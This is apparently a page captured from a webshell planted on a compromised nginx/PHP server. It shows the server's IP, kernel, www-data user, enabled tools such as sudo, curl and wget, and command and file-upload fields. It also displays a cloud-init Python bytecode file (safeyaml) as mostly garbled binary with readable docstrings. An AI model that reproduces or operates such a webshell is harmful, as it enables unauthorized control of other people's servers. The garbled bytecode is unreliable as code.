403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/safeyaml.cpython-314.pyc
+
��im(��z�^RIt^RIHt^RIHt^RIHtHtHtH	t	^RI
t
^RIHt]P!]4t!RR4tRtR	R
ltRRlt!R
R]
P(4t!RR]
P,P.4t]P2!R4RRl4t]P2!R4RRl4tR#)�N)�defaultdict)�chain)�Any�Dict�List�Tuple)�performancec�>a�]tRt^toV3RlRltRtRtRtVtR#)�SchemaPathMarksc�T<�V^8�dQhRS[RS[PRS[P/#)��path�
start_mark�end_mark)�str�yaml�Mark)�format�
__classdict__s"��4/usr/lib/python3/dist-packages/cloudinit/safeyaml.py�__annotate__�SchemaPathMarks.__annotate__s*���!�!�S�!�d�i�i�!�4�9�9�!�c�*�WnW nW0nR#�N)rrr)�selfrrrs&&&&r�__init__�SchemaPathMarks.__init__s���	�$�� �
rc�F�VPPVPP8g0VPPVPP8�dR#VPPVPP8Xd2VPPVPP8dR#VPPVPP8Xd2VPPVPP8�dR#R#)z;Return whether other start/end marks are within self marks.FT)r�liner�column�r�others&&r�__contains__�SchemaPathMarks.__contains__s���
���!�!�D�O�O�$8�$8�8��~�~�"�"�T�]�]�%7�%7�7�����!�!�T�_�_�%9�%9�9�� � �'�'�$�/�/�*@�*@�@���N�N���4�=�=�#5�#5�5����%�%��
�
�(<�(<�<��rc��VPPVPP8H;'d�VPPVPP8H;'dcVPPVPP8H;'d.VPPVPP8H#r)rr r!rr"s&&r�__eq__�SchemaPathMarks.__eq__/s����O�O� � �E�$4�$4�$9�$9�9�
>�
>����&�&�%�*:�*:�*A�*A�A�
>�
>��
�
�"�"�e�n�n�&9�&9�9�
>�
>��
�
�$�$����(=�(=�=�		
r)rrrN)	�__name__�
__module__�__qualname__�__firstlineno__rr$r'�__static_attributes__�__classdictcell__�rs@rrrs����!�!�
�&
�
rrc�P�VRRR1,FpW9gKW8XdKVu#	R#)N����)�
child_mark�marks�marks&& r�_find_closest_parentr68s+���d��d������j�&8��K��rc�:�V^8�dQhR\\,/#)r
�
line_marks)rr)rs"rrr?s��K�K�t�O�/D�Krc�d�VF�p\W4pV'gKVPPR^4wr4VPVP8Xg.VPPVP4'dK~VPP	W2P^4VnK�	R#)zH
Update any SchemaPathMarks.path for items not under the proper parent.
�.N)r6r�rsplit�
startswith�replace)r8r5�parent�path_prefix�	_path_idxs&    r�_reparent_schema_mark_childrenrA?s�����%�d�7���6�%)�Y�Y�%5�%5�c�1�%=�"�K��y�y�F�K�K�'�t�y�y�/C�/C����0�0�!�I�I�-�-�k�;�;��J��	�rc�h�V^8�dQhR\R\\,R\\,/#)r
�new_markr4�return)rr)rs"rrrNs.�� � �� �&*�?�&;� �	�/�� rc���.pRpVFFpW@9dVPV4KW9dRpVPV4VPV4KH	V'd\V4V#VPV4V#)aInsert new_mark into marks, ordering ancestors first.

Reparent existing SchemaPathMarks.path when new_mark is a parent of
an existing mark item.

Because schema processing is depth first, leaf/child mappings and
sequences may be processed for SchemaPathMarks before their parents.
This leads to SchemaPathMarks.path of 'grandchildren' being incorrectly
parented by the root dictionary instead of an intermediary parents below
root.

Walk through the list of existing marks and reparent marks that are
contained within the new_mark.
FT)�appendrA)rCr4�	new_marks�reparent_pathsr5s&&   r�_add_mark_and_reparent_marksrINs���"�I��N��������T�"���$�!�N����X�&��������&�y�1���	����"��rc�haa�]tRt^qtoRtV3RltRtRV3RlltRV3RlltV3Rlt	Rt
VtV;t#)	�_CustomSafeLoaderWithMarksa�A loader which provides line and column start and end marks for YAML.

If the YAML loaded represents a dictionary, get_single_data will inject
a top-level "schemamarks" key in that dictionary which can be used at
call-sites to process YAML paths schemamark metadata when annotating
YAML files for errors.

The schemamarks key is dictionary where each key is a dot-delimited path
into the YAML object. Each dot represents an element that is nested under
a parent and list items are represented with the format
`<parent>.<list-index>`.

The values in schemamarks will be the line number in the original content
where YAML element begins to aid in annotation when encountering schema
errors.

The example YAML shows expected schemamarks for both dicts and lists:

  one: val1
  two:
    subtwo: val2
  three: [val3, val4]

schemamarks == {
    "one": 1, "two": 2, "two.subtwo": 3, "three": 4, "three.0": 4,
    "three.1": 4
}
c�N<�\SV`V4\\4VnR#r)�superrr�list�schemamarks_by_line)r�stream�	__class__s&&�rr�#_CustomSafeLoaderWithMarks.__init__�s ���
���� ����	
� rc� �VPPVP9d�VPVPP,^,pVPVPP,R,FpW9gKW29gKTpK	W9dVPR,#\	VPP4RR7F1wrEVRRR1,FpW9gKVPR2uu#	K3	R#)r:�NNr:T)�reverseN�r1)rr rOr�sorted�items)r�node�most_specific_mark�	path_mark�	_line_num�schema_marksr5s&&     r�_get_nested_path_prefix�2_CustomSafeLoaderWithMarks._get_nested_path_prefix�s����?�?���4�#;�#;�;�!%�!9�!9����$�$�"��"��"�5�5�d�o�o�6J�6J�K����	��$��)H�)2�&�	�
�)�)�.�.��4�4�'-��$�$�*�*�,�d�(
�#�I�%�T�r�T�*�*���<�"�i�i�[��?�*�+�(
�rc�X<�\SV`WR7pVPV4pVPFwwrVVVP2pVPP
p\
WuPVP4p	VPV,p
\W�4pW�PV&Ky	V#)��deep)
rM�construct_mappingr^�valuerr rrrOrI)
rrYrb�mapping�nested_path_prefix�key_node�
value_node�
node_key_path�line_numrCr]rGrQs
&&&         �rrc�,_CustomSafeLoaderWithMarks.construct_mapping�s�����'�+�D�+�<��!�9�9�$�?��$(�J�J� �H�1�2�8�>�>�2B�C�M��*�*�/�/�H�&��2�2�J�4G�4G��H� �3�3�H�=�L�4�X�L�I�1:�$�$�X�.�%/��rc�Z<�\S
V`VRR7pVPV4p\VP4EFmwrVVP
PpVV2p\W�P
VP4p	WpP9dV	.VPV&KdWvPP8Xd/VPV,p
\W�4pW�PV&K�\WvPP4F�pW�P9gKVPV,p
\W�4pW�8XdXV
^,PV8wd@VP^\VV
^,P
V
R,P44W�PV&K�	EKp	V#)Trar1)rM�construct_sequencer^�	enumeraterdrr rrrOrI�ranger�insert)rrYrb�sequencerf�index�
sequence_itemrjrirCr]rG�
inner_linerQs&&&          �rrm�-_CustomSafeLoaderWithMarks.construct_sequence�s�����7�-�d��-�>��!�9�9�$�?��$-�d�j�j�$9� �E�$�/�/�4�4�H�1�2�5�'�:�M�&��7�7��9O�9O��H��7�7�7�6>�Z��(�(��2��5�5�:�:�:�#'�#;�#;�H�#E�L� <� �!�I�:C�,�,�X�6�&+� �"8�"8�"=�"=�'�
�&�)A�)A�A�+/�+C�+C�J�+O�L�(D� (�)�I�!+� 6�$0��O�$8�$8�M�$I� )� 0� 0�$%�$3�(5�(4�Q��(B�(B�(4�R�(8�(A�(A�%&�!"�DM�4�4�Z�@�)'�!%:�J�rc�"<�\SV`4p\V\4'de\\	VP
P
4!Uu.uF,pVPVPP^,3NK.	up4VR&V#uupi)rT�schemamarks)
rM�get_single_data�
isinstance�dictrrO�valuesrrr )r�data�vrQs&  �rrx�*_CustomSafeLoaderWithMarks.get_single_data�s�����w�&�(���d�D�!�!�"&�#�D�$<�$<�$C�$C�$E�F��F���V�V�Q�\�\�.�.��2�3�F��#�D������s�2B)rO)F)
r)r*r+r,�__doc__rr^rcrmrxr-r.�
__classcell__)rQrs@@rrKrKqs)�����:
��*�(�T	�	rrKc�*a�]tRt^�toRtRtRtVtR#)�NoAliasSafeDumperz>A class which avoids constructing anchors/aliases on yaml dumpc��R#)Tr2)rr|s&&r�ignore_aliases� NoAliasSafeDumper.ignore_aliases�s��rr2N)r)r*r+r,rr�r-r.r/s@rr�r��s����H��rr�zLoading yamlc�h�V^8�dQhR\\\\\3,3,/#)r
rD)rrrr�int)rs"rrr�s%����U�3��S�#�X��#6�7�rc��\P!V\R7p\V\4'g/pW3#VPR4pW3#)aiPerform YAML SafeLoad and track start and end marks during parse.

JSON schema errors come with an encoded object path such as:
    <key1>.<key2>.<list_item_index>

YAML loader needs to preserve a mapping of schema path to line and column
marks to annotate original content with JSON schema error marks for the
command:
    cloud-init devel schema --annotate


)�Loaderrw)r�loadrKryrz�pop)�blob�resultrws&  r�load_with_marksr��sK���Y�Y�t�$>�
?�F��f�d�#�#�������j�j��/����rzDumping yamlc
��\P!TR^TTRV'd\R7#\PPR7#)z%Return data in nicely formatted yaml.�
F)�
line_break�indent�explicit_start�explicit_end�default_flow_style�Dumper)r�dumpr��dumper�
SafeDumper)�objr�r��noaliass&&&&r�dumpsr�sF���9�9����%�!� �%,�!���37�+�+�2H�2H��r)TTF)�logging�collectionsr�	itertoolsr�typingrrrrr�	cloudinitr	�	getLoggerr)�LOGrr6rArI�
SafeLoaderrKr�r�r��timedr�r�r2rr�<module>r�s����#��)�)��!�
����!��
�
�D�K� �Fz����z�z����.�.��
���>�"��#��*
���>�"�
�#�
r

Youez - 2016 - github.com/yon3zu
LinuXploit